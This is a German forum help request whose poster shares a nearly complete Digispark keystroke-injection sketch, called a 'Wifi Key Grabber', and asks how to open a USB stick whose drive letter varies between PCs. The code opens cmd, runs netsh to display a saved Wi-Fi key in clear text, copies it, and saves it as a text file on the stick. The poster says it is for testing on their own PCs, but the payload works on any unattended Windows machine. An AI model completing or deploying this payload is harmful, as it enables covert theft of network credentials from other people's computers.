Author Topic: Digspark soll USB Stick mit CMD befehl öffnen.  (Read 167 times)

Trojanics

  • Newbie
  • *
  • Posts: 4
Digspark soll USB Stick mit CMD befehl öffnen.
« on: January 12, 2019, 12:10:35 am »
Hallo,ich habe mir einen Wifi Key Grabber gebastelt(nur zum testen an meinen PCs),jedoch scheitert alles an einem befehl.Die TxT Datei mit dem Passwort soll auf einen USB Stick gespeichert werden.Zu öffnen dieses USB Stick benutze Ich in Cmd: start X:
Das Problem ist aber,dass sich der Buchstabe vom Stick auf jedem PC ändert.Dann ist z.B Laufwerk F: statt X:.
Kann mir wer helfen?
Hier ist der Code(Habe deutsche Layout deswegen DigiKeyboardDe)

#include "DigiKeyboardDe.h"
void setup() {
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(0, MOD_GUI_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.print("cmd");
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.print("netsh wlan show profile name=Wlan-d1 key=clear");
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(6000);
DigiKeyboardDe.sendKeyStroke(KEY_A, MOD_CONTROL_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(KEY_C, MOD_CONTROL_LEFT);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(3000);
DigiKeyboardDe.sendKeyStroke(0, MOD_GUI_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.print("cmd");
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.print("start X:");
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(5000);
DigiKeyboardDe.sendKeyStroke(0, MOD_ALT_LEFT);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_R);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_W);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.delay(200);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.print("wlan-passwort");
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(1000);
DigiKeyboardDe.sendKeyStroke(KEY_ARROW_DOWN);
DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
DigiKeyboardDe.delay(3000);
DigiKeyboardDe.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT);
DigiKeyboardDe.delay(2000);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
DigiKeyboardDe.delay(500);
DigiKeyboardDe.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);











}

void loop() {
  // put your main code here, to run repeatedly:

}